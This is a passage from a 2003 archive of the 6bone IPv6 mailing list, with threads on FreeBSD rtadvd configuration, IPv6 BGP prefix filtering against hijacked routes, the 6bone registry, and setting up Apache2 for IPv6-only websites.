	ipv6_network_interfaces="lnc0 ep0 gif0 lo0"
	ipv6_ifconfig_lnc0="3ffe:4008:1b::1200 prefixlen 48"
	ipv6_firewall_enable="YES"
	ipv6_firewall_type="open"
	rtadvd_enable="YES"
	rtadvd_interfaces="ep0"
	-

	lnc0 goes from server to ADSL modem, ep0 goes from server to
	workstation. I also keep getting this error message:

	cannot forward src fe80:0002::0240:f4ff:fe3d:a742,
                       dst 2001:04f8:0:0002::000e,
                       nxt 6, rcvif ep0, outif gif0

	Tools such as ping6 and traceroute6 does not work.


 .:. Ciao!

 Regards,
 ---jsha

From gert@Space.Net Tue May 13 06:18:15 2003
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From: Gert Doering <gert@space.net>
To: Andy Furnell <andy@ipng.org.uk>
Cc: John Fraizer <tvo@EnterZone.Net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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Hi,

On Tue, May 13, 2003 at 07:58:31AM +0100, Andy Furnell wrote:
[..]
> > If someone "leaks" something to us once, we will help them establish
> > appropriate policy to prevent future "leaks."  If they do it twice, they
> > face the wrath of "neighbor [x.x.x.x|xx:xx:xx:xx] shutdown" on our
> > side.  It tends to get them thinking in a more responsible manner and if
> > NOT, they're not the kind of peer we wish to interact with.
> 
> Sure, but can we at least agree that a routing registry for IPv6
> prefixes would make this job a little easier? :)

People are working on RPSLng, and there should be something available
"soon".

As far as I understand, the RIPE folks already have some test server 
for that, so you can see how it looks like in whois output (rpslng.ripe.net, 
port 53001, rpslng-auto@ripe.net).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jeroen@unfix.org Tue May 13 07:45:50 2003
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To: "'/* jsha */'" <johann@broadpark.no>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] Basic IPv6 on FreeBSD
Date: Tue, 13 May 2003 16:45:40 +0200
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/* jsha */ wrote:

> 	# IPv6 NETWORK CONFIGURATION
> 	#
> 	gif_interfaces="gif0"
> 	gifconfig_gif0="213.187.181.70 192.16.124.2"
> 	ipv6_enable="YES"
> 	ipv6_gateway_enable="YES"
> 	ipv6_defaultrouter="-interface gif0" 
> 	ipv6_network_interfaces="lnc0 ep0 gif0 lo0"
> 	ipv6_ifconfig_lnc0="3ffe:4008:1b::1200 prefixlen 48"

A subnet should be a /64 if you want Radvd to work.

> 	ipv6_firewall_enable="YES"
> 	ipv6_firewall_type="open"
> 	rtadvd_enable="YES"
> 	rtadvd_interfaces="ep0"
> 	-
> 
> 	lnc0 goes from server to ADSL modem, ep0 goes from server to
> 	workstation. I also keep getting this error message:
> 
> 	cannot forward src fe80:0002::0240:f4ff:fe3d:a742,
>                        dst 2001:04f8:0:0002::000e,
>                        nxt 6, rcvif ep0, outif gif0

Quite clearly you cannot forward link local IP's.
Configure a /64 on lnc0 and ep0 and gif0, configure radvd
to the correct prefix, restart radvd, and it should work(tm)
Though unless you use unnumbered tunnels you will be needing
some addresses over the tunnel. You should show more details
of your configuration and your network design ;)

Greets,
 Jeroen


From jeanthery@olympus-zone.net Tue May 13 08:25:31 2003
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Jeroen Massar wrote:
> /* jsha */ wrote:
>
>> # IPv6 NETWORK CONFIGURATION
>> #
>> gif_interfaces="gif0"
>> gifconfig_gif0="213.187.181.70 192.16.124.2"
>> ipv6_enable="YES"
>> ipv6_gateway_enable="YES"
>> ipv6_defaultrouter="-interface gif0"
>> ipv6_network_interfaces="lnc0 ep0 gif0 lo0"
>> ipv6_ifconfig_lnc0="3ffe:4008:1b::1200 prefixlen 48"
>
> A subnet should be a /64 if you want Radvd to work.

This is the same for rtadvd.

>> ipv6_firewall_enable="YES"
>> ipv6_firewall_type="open"
>> rtadvd_enable="YES"
>> rtadvd_interfaces="ep0"
>> -
>>
>> lnc0 goes from server to ADSL modem, ep0 goes from server to
>> workstation. I also keep getting this error message:
>>
>> cannot forward src fe80:0002::0240:f4ff:fe3d:a742,
>>                        dst 2001:04f8:0:0002::000e,
>>                        nxt 6, rcvif ep0, outif gif0

with rtadvd you can use an empty config file, the conf is made by rc.conf in
this case
for manual way just add :
ifconfig [interface1] 3ffe:4008:1b:1:: prefixlen 64 anycast
ifconfig [interface2] 3ffe:4008:1b:2:: prefixlen 64 anycast
ex :
ifconfig xl0 3ffe:4008:1b:1:: prefixlen 64 anycast
ifconfig fxp0 3ffe:4008:1b:1:: prefixlen 64 anycast
etc
and start rtadvd with interface parameter ex :
rtadvd fxp0 xl0

PS: don't use rtadvd and radvd at the same time! (are you using 2 dhcp
daemon at the same time ?)
PS2: if you're using IPF and DENY by default in the kernel, ensure the
router advertisment pass the rules.

> Quite clearly you cannot forward link local IP's.
> Configure a /64 on lnc0 and ep0 and gif0, configure radvd
> to the correct prefix, restart radvd, and it should work(tm)
> Though unless you use unnumbered tunnels you will be needing
> some addresses over the tunnel. You should show more details
> of your configuration and your network design ;)
>
> Greets,
>  Jeroen
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

Cordialy,

Jean Théry
Network, Systems & Hosting Administration
Olympus-Zone : www.olympus-zone.net


From jeroen@unfix.org Tue May 13 08:43:06 2003
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To: "'John Fraizer'" <tvo@EnterZone.Net>
Cc: <6bone@mailman.isi.edu>, <ipv6-wg@ripe.net>
Subject: RE: [6bone] Re: [ipv6-wg@ripe.net] Update on IPv6 filter recommendation
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John Fraizer wrote:

> I don't think that an exception should be made for microallocations at
> all.  To paraphrase what ARIN says, there is no guarantee that address
> space that they assign will be globally routable.

You should note that that also goes for the rest of the allocations.
69/8 in IPv4 anyone ? :)

If an ISP decides to filter it's their choice, it is also their
network and their money (and isn't that what it is all about?)

That's why it's also good that Gert notified us of this change.
Let's hope rpslng will come soon and that everybody in IPv6
uses it correctly, that will be a big step forward for changes
like these.

Greets,
 Jeroen


From tvo@EnterZone.Net Tue May 13 10:36:06 2003
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On Tue, 13 May 2003, Jeroen Massar wrote:

> John Fraizer wrote:
> 
> > I don't think that an exception should be made for microallocations at
> > all.  To paraphrase what ARIN says, there is no guarantee that address
> > space that they assign will be globally routable.
> 
> You should note that that also goes for the rest of the allocations.
> 69/8 in IPv4 anyone ? :)

The alloocations I have seen have problems out of 69/8 were not
micro-allocations.  They were /19's and /18's.  I'm sure that there are a
few /20's in there with a token /24 perhaps but, the ones I have knowledge
of were _real_ allocations and not micro-allocations.

The issue of reachability of those allocations was brought on NOT by
people being filtered based on prefix length but because so many people
were using outdated BOGON filters - filters that would have even blocked
69.0.0.0/8 had it been announced.

> 
> If an ISP decides to filter it's their choice, it is also their
> network and their money (and isn't that what it is all about?)

How about this:  If an ISP sees what a pile of crap the IPv4 tables have
become and filters responsibly in v6, despite non-responsible allocations
made by ARIN, I would tend to look at it as a responsible community member
telling an irresponsible community member that we don't want IPv6 SWAMP
space and the routing table bloat that it will lead to.

> 
> That's why it's also good that Gert notified us of this change.
> Let's hope rpslng will come soon and that everybody in IPv6
> uses it correctly, that will be a big step forward for changes
> like these.
> 

And I agree.  It was nice that Gert notified us of the change.  I am still
not opening up my filters for those prefixes though.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From jeroen@unfix.org Tue May 13 11:09:25 2003
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Subject: RE: [6bone] Re: [ipv6-wg@ripe.net] Update on IPv6 filter recommendation
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John Fraizer [mailto:tvo@EnterZone.Net] wrote:

> On Tue, 13 May 2003, Jeroen Massar wrote:
> 
> > John Fraizer wrote:
> > 
> > > I don't think that an exception should be made for 
> microallocations at
> > > all.  To paraphrase what ARIN says, there is no guarantee 
> that address
> > > space that they assign will be globally routable.
> > 
> > You should note that that also goes for the rest of the allocations.
> > 69/8 in IPv4 anyone ? :)
> 
> The alloocations I have seen have problems out of 69/8 were not
> micro-allocations.  They were /19's and /18's.  I'm sure that 
> there are a few /20's in there with a token /24 perhaps but, the ones
I 
> have knowledge of were _real_ allocations and not micro-allocations.

Yes, but what I meant is the fact that a RIR can't possibly guarantee
routability of a prefix. Which was the case seen with 69/8.

Even then if a big transit doesn't want to carry your prefix for
$reason it won't be reachable either ;)

Greets,
 Jeroen


From michel@arneill-py.sacramento.ca.us Tue May 13 21:12:57 2003
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Gert,

> Gert Doering wrote:
> I have just added an update to the "strict" filter list of
> my IPv6 filter list recommendations on
> http://www.space.net/~gert/RIPE/ipv6-filters.html

Thanks for the heads-up.
Some comments:

> ipv6 prefix-list ipv6-ebgp-strict permit 3ffe::/18 ge 24 le 24
> ipv6 prefix-list ipv6-ebgp-strict permit 3ffe:4000::/18 ge 32 le 32
> ipv6 prefix-list ipv6-ebgp-strict permit 3ffe:8000::/22 ge 28 le 28

This part is fine.


> ipv6 prefix-list ipv6-ebgp-strict permit 2001:500::/32 ge 48 le 48

It would be interesting to have more refinement here. What I mean is
that I would be open to allow a /48 that contains a root server but not
a /48 that serves an IXP. More details/specifics to what is inside
2001:500::/32 would be appreciated.


> ipv6 prefix-list ipv6-ebgp-strict permit 2001::/16 ge 35 le 35

I think this could be refined too. The range where /35s were originally
allocated from is much smaller than 2001::/16.


> ipv6 prefix-list ipv6-ebgp-strict permit 2001::/16 ge 24 le 32

This could also be refined. Not all 2001::/16 has been delegated to
RIRs. ARIN got a block, RIPE got a block, APNIC got a block, but there
still is some undelegated space. The drawback of refining to that level
is that it will inevitably induce a situation similar to 69/8 and will
require maintenance, but the other side of that coin is that it would
prevent people from hijacking prefixes from undelegated space.

As an example and please correct me if wrong in the address I picked
because it's all from memory, if I hijack and announce 2001:FEED::/32
that would pass your filter but this prefix can't be assigned to anybody
now as it is not part of a larger block that has been delegated to a
RIR, so it must be a hijack.

Michel.


From pekkas@netcore.fi Tue May 13 21:39:48 2003
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On Tue, 13 May 2003, Michel Py wrote:
> > ipv6 prefix-list ipv6-ebgp-strict permit 2001::/16 ge 24 le 32
> 
> This could also be refined. Not all 2001::/16 has been delegated to
> RIRs. ARIN got a block, RIPE got a block, APNIC got a block, but there
> still is some undelegated space. The drawback of refining to that level
> is that it will inevitably induce a situation similar to 69/8 and will
> require maintenance, but the other side of that coin is that it would
> prevent people from hijacking prefixes from undelegated space.
> 
> As an example and please correct me if wrong in the address I picked
> because it's all from memory, if I hijack and announce 2001:FEED::/32
> that would pass your filter but this prefix can't be assigned to anybody
> now as it is not part of a larger block that has been delegated to a
> RIR, so it must be a hijack.

RIR's have obtained multiple blocks, as they receive them in the chunks of 
/23's from IANA. (A thing I've complained about to IANA, btw.).  So, they 
need a new one every 2^6 = 64 allocations.  That's way too often, and 
maintenance would be a pain.

With current mechanisms, there's always a way to hijack space (e.g. you
could announce a slice of /32 from the /29 everyone has been reserved), we
really can't avoid it using bogon filters..

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings



From pekkas@netcore.fi Wed May 14 04:50:34 2003
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From: Pekka Savola <pekkas@netcore.fi>
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Hi,

I'd like to hear what others have done with regard to this..

Currently, we only have the RIPE 2001:FOO::/32 space anymore.  The 
assignments have been recorded in the RIPE database in the normal fashion, 
of course.  (Of course, the situation is the same with ARIN/APNIC/.. space 
too, but just to take an example.)

Have folks w/ production space kept the 6bone database 

http://www.viagenie.qc.ca/en/ipv6/registry/ and
http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/

up-to-date especially regard to assigned /48 sites?

Or is there a rough consensus to let it rot in pieces for non-3FFE address
space?

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings



From old_mc_donald@hotmail.com Wed May 14 05:58:23 2003
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Subject: [6bone] IPv6 only Website.
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Hi All, 

Does anyone here run IPv6 only websites hosted on Apache2 ?

I am trying to create a website accessible by v6 only addresses and 
the documentation from Apache regarding v6 addressing is about nil.

Any pointers appreciated.

Thanks 

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
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Subject: [6bone] Re: [ipv6-wg@ripe.net] 6BONE database entries for non-3FFE space?
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Pekka,

On Wed, May 14, 2003 at 02:50:25PM +0300, ext Pekka Savola wrote:
> 
> I'd like to hear what others have done with regard to this..
> 
> Currently, we only have the RIPE 2001:FOO::/32 space anymore.  The 
> assignments have been recorded in the RIPE database in the normal fashion, 
> of course.  (Of course, the situation is the same with ARIN/APNIC/.. space 
> too, but just to take an example.)
> 
> Have folks w/ production space kept the 6bone database 
> 
> http://www.viagenie.qc.ca/en/ipv6/registry/ and
> http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/
> 
> up-to-date especially regard to assigned /48 sites?
> 
> Or is there a rough consensus to let it rot in pieces for non-3FFE address
> space?

I don't see much reason to duplicate data in the 6bone registry. This
will only cause inconsistent data and that is not very desirable.
However, I have a fairly large disk so I don't mind if people would
like to this anyway.

'ipv6-site' objects are a completely different matter though. They
describe actual routing information and there is at this point no
alternative. In addition, we currently have a single unified registry
in contrast to the situation with the ipv4 routing registries and we
might want to keep it that way.

David K.
PS Followup mails should probably only go to the 6bone list
   since this is about the 6bone registry.
---

From david@iprg.nokia.com Wed May 14 06:57:23 2003
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Date: Wed, 14 May 2003 07:00:18 -0700
From: David Kessens <david@IPRG.nokia.com>
To: Andy Furnell <andy@ipng.org.uk>
Cc: Marc Hultquist <hultq@iafrica.com>, 6Bone <6bone@mailman.isi.edu>,
   John Fraizer <tvo@EnterZone.Net>
Subject: Re: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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Andy,

On Mon, May 12, 2003 at 07:37:46AM +0100, Andy Furnell wrote:
> On Sat, May 10, 2003 at 12:43:38PM +0200, Marc Hultquist wrote:
> > 
> > 
> > I have to Agree with John on this Matter. IF the providers would be 
> > good enough to Filter the customers responsability, then there would
> > not be a problem now would there?
> > 
> 
> This is a nice idea, but given that there's no IPv6 routing registry,
> the administrative overhead of manually generating filters can get
> seriously cumbersome (especially given that IPv6 efforts for most
> providers still seem to be done on a part-time basis).

This is not entirely true. The 6bone registry does contain routing
information.

You can build filters using the 'prefix:' and 'origin:' attributes of
the 6bone registry (note that multiple prefixes are allowed in the
'prefix:' attribute).

However, just as with the ipv4 routing registry, this might not be a
good idea to do with peers because of the absence of a netpolice
department that enforces (correct) registrations in the registry (you
should be able to enforce consistent data for your customers though).

David K.
---

From daniel@kewlio.net Wed May 14 06:58:14 2003
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To: "Gav" <old_mc_donald@hotmail.com>, <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0305141445340.29385-100000@netcore.fi> <Law8-OE34Rf6Ci6nx8d00003b45@hotmail.com>
Subject: Re: [6bone] IPv6 only Website.
Date: Wed, 14 May 2003 14:58:00 +0100
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Hi Gav,

We have our PHP mirror running successfully on both v4 and v6 using Apache 2.0.45 at http://uk.php.net/

Apache2 requires --enable-ipv6 on the configure line, and then the configuration is the same as IPv4 except that v6 addresses must
be surrounded by square brackets.

for example (from our apache2 config):

--cut--
Listen [3ffe:4005:fefe::80:4]:80
NameVirtualHost [3ffe:4005:fefe::80:4]:80
<VirtualHost [3ffe:4005:fefe::80:4]:80>
ServerName uk.php.net
ServerAdmin daniel@kewlio.net
DocumentRoot /usr/home/phpmirror/public_html
php_value include_path .:/usr/home/phpmirror/public_html/include
ErrorLog /usr/home/phpmirror/error_log
CustomLog /usr/home/phpmirror/access_log combined
DirectoryIndex index.php
ErrorDocument 404 /error/index.php
ErrorDocument 403 /error/index.php
ErrorDocument 401 /error/index.php
AddType application/octet-stream .chm .bz2 .tgz
AddType application/x-pilot .prc .pdb
SetEnv MIRROR_LANGUAGE "en"
SetEnv HTSEARCH_PROG /usr/local/htdig/bin/htphp.sh
SetEnv HTSEARCH_EXCLUDE "/print/ /printwn/ /manual/howto/ /cal.php"
# next line is only necessary if generating stats (see stats/README.stats)
Alias /stats/ /usr/home/phpmirror/public_html/stats/
#SetEnv MIRROR_STATS 1
</VirtualHost>
--cut--


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message ----- 
From: "Gav" <old_mc_donald@hotmail.com>
To: <6bone@ISI.EDU>
Sent: Wednesday, May 14, 2003 1:58 PM
Subject: [6bone] IPv6 only Website.


> Hi All,
>
> Does anyone here run IPv6 only websites hosted on Apache2 ?
>
> I am trying to create a website accessible by v6 only addresses and
> the documentation from Apache regarding v6 addressing is about nil.
>
> Any pointers appreciated.
>
> Thanks
>
> Gav...
>
>
> ---
> Checked for Viruses (Viri) , Gav...
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.478 / Virus Database: 275 - Release Date: 6/05/2003
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From old_mc_donald@hotmail.com Wed May 14 07:55:57 2003
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----- Original Message ----- 
From: "Daniel Austin"



| Hi Gav,
|
| We have our PHP mirror running successfully on both v4 and v6 using Apache
2.0.45 at http://uk.php.net/

Almost, I couldnt get on it when I tried. :(

|
| Apache2 requires --enable-ipv6 on the configure line,

Until I get a spare computer with a *nix flavour put on I am using Windows
XP , but I found the equivant command and the service is installed, but
again comes up with resolver errors to do with my 2002: address (see below)

and then the configuration is the same as IPv4 except that v6 addresses must
| be surrounded by square brackets.
|
| for example (from our apache2 config):
|
| --cut--
| Listen [3ffe:4005:fefe::80:4]:80
| NameVirtualHost [3ffe:4005:fefe::80:4]:80
| <VirtualHost [3ffe:4005:fefe::80:4]:80>
|
<snip>

| With Thanks,
|
| Daniel Austin,
| Managing Director,
| Kewlio.net Limited.
| <daniel@kewlio.net>
|

Thanks for the reply, Ok so I now need to give you a bit more info as the
above did not work for me, neither did Marco's (couger?) thanks for your
reply also.

At the moment I am using the wildcard catch all for my addresses as I have 4
sites running in VirtualHost containers and I have a dynamic IP, but correct
me if I am wrong, I keep the same IPv6 address I have been given don't I ?
Otherwise I need a v6 capable dynamic updater. (Or wait until I get a
permanent v4 allocation in November).

So I have

Listen 80 (Apache docs say this will catch v6 addresses also, then mentions
using Listen [::]:80 which didn't work either)
NameVirtualHost *
<VitrualHost *>
..
..
..
</VirtualHost>

I have tried adding ip address based lines for Listen, NameVitrualHost and
VirtualHost , leaving the others available on *. The Server does not start.

The v6 address I am trying to use is 2002:9089:e04a::9089:e04a.

Now , if I miss out the Listen directive and leave the rest in, the server
will start, but the site does not work, opens the default site instead.
The logs are telling me "No host data of that type was found: Cannot resolve
host name [0000:0000:9089:e04a] --- ignoring!"

I don't think the prognosis is a good one

My setup is a bit of a mess at the minute, but I don't know any better how
to set up my v6 side of things, you will notice a bridge etc :-



Ethernet adapter Local Area Connection 5:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 144.137.224.74
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . : fe80::4645:53ff:fe54:7777%4
        Default Gateway . . . . . . . . . : 144.137.224.74

Ethernet adapter Network Bridge (Network Bridge):

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.0.1
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:3da1:f127:4d8c:bba3
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:d02a:edf6:49be:edba
        IP Address. . . . . . . . . . . . : 2002:c0a8:1:5:40:d0ff:fe2a:af71
        IP Address. . . . . . . . . . . . : fe80::40:d0ff:fe2a:af71%5
        Default Gateway . . . . . . . . . : 192.168.0.1

Tunnel adapter 6to4 Tunnelling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 2002:9089:e04a::9089:e04a
        Default Gateway . . . . . . . . . : 2002:c058:6301::
                                            2002:836b:213c:1:e0:8f08:f020:8

Tunnel adapter Automatic Tunnelling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : fe80::5efe:144.137.224.74%2
        Default Gateway . . . . . . . . . :

Tunnel adapter Automatic Tunnelling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : fe80::5efe:192.168.0.1%2
        Default Gateway . . . . . . . . . :


Interface 5: Ethernet: Network Bridge (Network Bridge)
{1B48439E-824B-4AFE-B2B8-D8149CF2AEA2}
  zones: link 5 site 2
  uses Neighbor Discovery
  uses Router Discovery
  sends Router Advertisements
  forwards packets
  link-layer address: 02-40-d0-2a-af-71
    preferred global 2002:c0a8:1:5:3da1:f127:4d8c:bba3, life
47h53m52s/23m52s (a
nonymous)
    deprecated global 2002:c0a8:1:5:d02a:edf6:49be:edba, life 47h53m52s/0s
(anon
ymous)
    preferred global 2002:c0a8:1:5:40:d0ff:fe2a:af71, life 47h53m52s/23m52s
(pub
lic)
    preferred link-local fe80::40:d0ff:fe2a:af71, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
    multicast link-local ff02::1:ff2a:af71, 2 refs, last reporter
    multicast interface-local ff01::2, 1 refs, not reportable
    multicast link-local ff02::2, 1 refs, last reporter
    multicast site-local ff05::2, 1 refs, last reporter
    multicast link-local ff02::1:ffbe:edba, 1 refs, last reporter
    multicast link-local ff02::1:ff00:0, 1 refs, last reporter
    anycast global 2002:c0a8:1:5::
    multicast link-local ff02::1:ff8c:bba3, 1 refs, last reporter
  link MTU 1500 (true link MTU 1500)
  current hop limit 128
  reachable time 22000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
Interface 4: Ethernet: Local Area Connection 5
{DD381E0E-7F09-45B7-8539-C531BEAD0731}
  uses Neighbor Discovery
  uses Router Discovery
  link-layer address: 44-45-53-54-77-77
    preferred link-local fe80::4645:53ff:fe54:7777, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
    multicast link-local ff02::1:ff54:7777, 1 refs, last reporter
  link MTU 1454 (true link MTU 1454)
  current hop limit 128
  reachable time 28500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
Interface 3: 6to4 Tunneling Pseudo-Interface
{A995346E-9F3E-2EDB-47D1-9CC7BA01CD73}
  does not use Neighbor Discovery
  does not use Router Discovery
  forwards packets
  routing preference 1
    preferred global 2002:9089:e04a::9089:e04a, life infinite
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 30000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
Interface 2: Automatic Tunneling Pseudo-Interface
{48FCE3FC-EC30-E50E-F1A7-71172AEEE3AE}
  does not use Neighbor Discovery
  does not use Router Discovery
  forwards packets
  routing preference 1
  EUI-64 embedded IPv4 address: 0.0.0.0
  router link-layer address: 0.0.0.0
    preferred link-local fe80::5efe:144.137.224.74, life infinite
    preferred link-local fe80::5efe:192.168.0.1, life infinite
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 19000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
Interface 1: Loopback Pseudo-Interface
{6BD113CC-5EC2-7638-B953-0B889DA72014}
  does not use Neighbor Discovery
  does not use Router Discovery
  link-layer address:
    preferred link-local ::1, life infinite
    preferred link-local fe80::1, life infinite
  link MTU 1500 (true link MTU 4294967295)
  current hop limit 128
  reachable time 31000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0

Can this be improved, I am trying to use the correct v6 address ?

Thanks for your help.

Gav...



---
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Version: 6.0.478 / Virus Database: 275 - Release Date: 6/05/2003

From andree@wnet.bos.nl Wed May 14 09:20:34 2003
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From: Andree Toonk <andree@bos.nl>
To: Gav <old_mc_donald@hotmail.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 only Website.
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On Wed, May 14, 2003 at 08:58:09PM +0800, Gav wrote:
> Hi All, 
> 
> Does anyone here run IPv6 only websites hosted on Apache2 ?
> 
> I am trying to create a website accessible by v6 only addresses and 
> the documentation from Apache regarding v6 addressing is about nil.
> 
> Any pointers appreciated.

Yes I do and it works fine. (I also use PHP on it).

syntax is like this:
Listen [2001:your:ipv6:address]:80
Listen [3FFE:your:ipv6:address]:80
NameVirtualHost [2001:your:ipv6:address]
NameVirtualHost [3FFE:your:ipv6:address]

<VirtualHost [2001:your:ipv6:address] [3FFE:your:ipv6:address]>
    ServerName          www.ams-ix.net
	and a lot more, equal to the ipv4 config
</VirtualHost>

If you use a Linux server, you may have to use the "EnableSendfile Off" option, 
see http://httpd.apache.org/docs-2.0/mod/core.html#enablesendfile.
There seems to be a bug in the sendfile call in (some)linux kernels (search for more info on google.com).

Goodluck.
Andree


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Kurt Erik Lindqvist [mailto:kurtis@kurtis.pp.se] wrote:

> On måndag, maj 12, 2003, at 21:33 Europe/Stockholm, Gert 
> Doering wrote:
> 
> >>
> >> 500 TLA's over 54 countries!
> >
> > Oh, wow.  Very impressive, this!
> 
> Maybe we actually will hit 1000 rotues! :-)
> 
> Another thing though :
> 
>          4   790  829408  440969    18406    0    0 2w5d 424
> 
> 
> I only see 424 of these though. Anyone that have already started 
> mapping the times of when an allocation is made and when it 
> first shows up in the routing table?

http://www.sixxs.net/tools/grh/tla/

With last seens atm, got to fish the first seens from
the archive (show up as empty now). They will pop up
later today :) Note that a 'first seen' is not very useful
as it could pop up for a couple of minutes (even due to
routing troubles) and then fade away again...
When you follow the link behind the 'lastseen' you will see
all the marks made where the prefix was originating from
and over how many ASPaths it was detected.

Greets,
 Jeroen


From jeroen@unfix.org Wed May 14 12:36:10 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gav'" <old_mc_donald@hotmail.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] IPv6 only Website.
Date: Wed, 14 May 2003 21:36:07 +0200
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Gav wrote:

> At the moment I am using the wildcard catch all for my 
> addresses as I have 4 sites running in VirtualHost containers
> and I have a dynamic IP, but correct me if I am wrong, I keep
> the same IPv6 address I have been given don't I ?
> Otherwise I need a v6 capable dynamic updater. (Or wait until I get a
> permanent v4 allocation in November).

As you have a dynamic IPv4 address your 6to4 address is also dynamic.

<SNIP>

> The v6 address I am trying to use is 2002:9089:e04a::9089:e04a.
> 
> Now , if I miss out the Listen directive and leave the rest 
> in, the server
> will start, but the site does not work, opens the default 
> site instead.
> The logs are telling me "No host data of that type was found: 
> Cannot resolve
> host name [0000:0000:9089:e04a] --- ignoring!"

9089:e94a translates to your public IPv4 address.

Just use a "Listen 80" and a "NameVirtualHost *"

> Ethernet adapter Network Bridge (Network Bridge):
> 
>         Connection-specific DNS Suffix  . :
>         IP Address. . . . . . . . . . . . : 192.168.0.1
>         Subnet Mask . . . . . . . . . . . : 255.255.255.0
>         IP Address. . . . . . . . . . . . :
> 2002:c0a8:1:5:3da1:f127:4d8c:bba3
>         IP Address. . . . . . . . . . . . :
> 2002:c0a8:1:5:d02a:edf6:49be:edba
>         IP Address. . . . . . . . . . . . : 
> 2002:c0a8:1:5:40:d0ff:fe2a:af71
>         IP Address. . . . . . . . . . . . : fe80::40:d0ff:fe2a:af71%5
>         Default Gateway . . . . . . . . . : 192.168.0.1

Eek, a c0a8 = 192.168/16, 6to4 should not use a RFC1918 address IMHO.

> Can this be improved, I am trying to use the correct v6 address ?

The 2002:9089:e94a::/48 address is the correct one indeed.
But it will change when you have a dynamic IPv4 endpoint.

Greets,
 Jeroen


From pekkas@netcore.fi Wed May 14 22:42:30 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: David Kessens <david@IPRG.nokia.com>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: [ipv6-wg@ripe.net] 6BONE database entries for non-3FFE
 space?
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On Wed, 14 May 2003, David Kessens wrote:
> On Wed, May 14, 2003 at 02:50:25PM +0300, ext Pekka Savola wrote:
> > 
> > I'd like to hear what others have done with regard to this..
> > 
> > Currently, we only have the RIPE 2001:FOO::/32 space anymore.  The 
> > assignments have been recorded in the RIPE database in the normal fashion, 
> > of course.  (Of course, the situation is the same with ARIN/APNIC/.. space 
> > too, but just to take an example.)
> > 
> > Have folks w/ production space kept the 6bone database 
> > 
> > http://www.viagenie.qc.ca/en/ipv6/registry/ and
> > http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/
> > 
> > up-to-date especially regard to assigned /48 sites?
> > 
> > Or is there a rough consensus to let it rot in pieces for non-3FFE address
> > space?
> 
> I don't see much reason to duplicate data in the 6bone registry. This
> will only cause inconsistent data and that is not very desirable.
> However, I have a fairly large disk so I don't mind if people would
> like to this anyway.

Right.
 
> 'ipv6-site' objects are a completely different matter though. They
> describe actual routing information and there is at this point no
> alternative. In addition, we currently have a single unified registry
> in contrast to the situation with the ipv4 routing registries and we
> might want to keep it that way.

This was the actual point: the 6bone registry includes information that is 
not otherwise available, and may be useful (or not) to some.  For example, 
some have (erroneuously) used it to measure the number of IPv6 sites in a 
country.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From hank@att.net.il Wed May 14 23:04:00 2003
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Date: Thu, 15 May 2003 08:57:08 +0200
To: "Jeroen Massar" <jeroen@unfix.org>
From: Hank Nussbacher <hank@att.net.il>
Subject: RE: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter
  recommendation
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At 09:24 PM 14-05-03 +0200, Jeroen Massar wrote:
>Kurt Erik Lindqvist [mailto:kurtis@kurtis.pp.se] wrote:
>
